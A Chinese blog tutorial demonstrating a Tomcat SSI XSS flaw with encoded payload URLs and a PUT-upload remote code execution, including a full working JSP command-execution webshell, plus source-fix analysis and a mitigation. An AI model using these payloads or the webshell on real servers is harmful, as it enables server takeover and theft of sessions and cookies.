我成功攻擊了Tomcat服務器，大佬們的反應亮了

Tomcat是一個開源的輕量級Web應用服務器，在我們平常工作過程中接觸得非常多。代碼也非常經典，很多人為了提升自己的技術也會去閱讀學習Tomcat的源碼。但正如著名詩人李白所說的：世界上本沒有漏洞，使用的人多了，也就發現了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。

今天我們選擇兩個比較直觀的Tomcat漏洞去模擬整個漏洞被攻擊的過程，以及漏洞為什么會產生，Tomcat大神們又是如何應對的。

【攻擊一：XSS攻擊】

一、SSI技術說明

首先演示的漏洞和Tomcat的SSI功能有關，SSI是什么

SSI技術，也叫作Serve Side Includes，SSI（服務器端包含）是放置在html頁面中的指令，并在服務頁面時在服務器上對其進行評估。它們使您可以將動態生成的內容添加到現有的HTML頁面，而不必通過CGI程序或其他動態技術來提供整個頁面。使用SSI技術文件默認的后綴名為.shtml；

舉例：我們可以將指令放置到現有的HTML頁面中，例如：

!--#echo var="DATE_LOCAL" -->

當該頁面被執行時，將會顯示如下結果

Sunday, 22-March-2020 18:28:54 GMT

SSI最常見的用途之一：輸出CGI程序的結果，例如``命中計數器''。關于該技術更為詳細的說明參見：http://httpd.Apache.org/docs/current/howto/ssi.html

二、為Tomcat開啟SSI

準備好JRE、tomcat環境，我選擇的是“apache-tomcat-9.0.10” （該漏洞受影響的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
修改conf/context.xml第19行，開啟權限

<Context privileged="true">

修改confweb.xml，開啟SSI Servlet。該段代碼默認是被注釋掉的，我們刪除注釋即可，代碼在310-322行。

<servlet>
        <servlet-name>ssi</servlet-name>
        <servlet-class>
          org.apache.catalina.ssi.SSIServlet
        </servlet-class>
        <init-param>
          <param-name>buffered</param-name>
          <param-value>1</param-value>
        </init-param>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>expires</param-name>
          <param-value>666</param-value>
        </init-param>
        <init-param>
          <param-name>isVirtualWebAppRelative</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>4</load-on-startup>
    </servlet>

去掉關于ssi配置的注釋 422-425行

  <servlet-mapping>
        <servlet-name>ssi</servlet-name>
        <url-pattern>*.shtml</url-pattern>
    </servlet-mapping>

在根目錄下添加madashu_env.shtml（習慣性命名為printEnv.shtml）文件，位于webapps/ROOT/ssi/

<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>

啟動Tomcat即可

三、發起攻擊

我們輸入以下url看下效果

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2. XSS注入

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

攻擊成功，頁面展示如下。

通過這種方式我們使用戶加載并執行攻擊者惡意制造的網頁程序，攻擊者還可能得到包括但不限于更高的權限（如執行一些操作）、私密網頁內容、會話和cookie等各種內容。

四、源碼分析

漏洞產生后，Tomcat大神們迅速修復了該漏洞，我們從Github上找到當時的代碼修復提交記錄：點擊查看commit

說真的，當時看到這段修復代碼我是驚呆了，這是什么騷操作！！！“entity”又是什么鬼！！！

于是接下往下翻代碼：

這個地方將我們輸入的變量值直接輸出到了網頁，很明顯剛剛的entity應該是進行了轉碼。我們找到SSIMediator.JAVA文件，路徑org.apache.catalina.ssi. SSIMediator

這樣我們一下子就明白過來了，當發現是“entity”編碼，會將輸入的內容進行Escape，從而避免了XSS。估計大神們當時也是緊急出了個hotfix版本，直接把參數寫死成“entity”。還有作為Web服務器，大神們竟然也會犯這么低級別的錯誤，所以這也解釋了為什么不存在0Bug的系統，哈哈！去翻看最新的SSIPrintenv.java文件，已經把“entity”定義成常量了，這才專業嘛！

【攻擊二：遠程代碼執行】

接下來再簡單演示下遠程代碼執行漏洞，該漏洞為高危漏洞，即使是非默認配置，但是一旦存在漏洞，那么攻擊者可以成功上傳 Webshell，并控制服務器。

通過put方式上傳文件，請求進行中時進行攔截：
生成惡意文件，取名叫jiansheng.jsp

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

遠程上傳成功，接下來就可以愉快地在這個不屬于我們自己的tomcat里玩耍了
整個代碼也是比較簡單的，可以翻看JspServlet.java，這里就不做演示了。
說明：該漏洞影響范圍非常廣，從 5.x 到 9.x 全部中槍。最好的解決方式是將 conf/web.xml 中對于 DefaultServlet 的 readonly 設置為 true。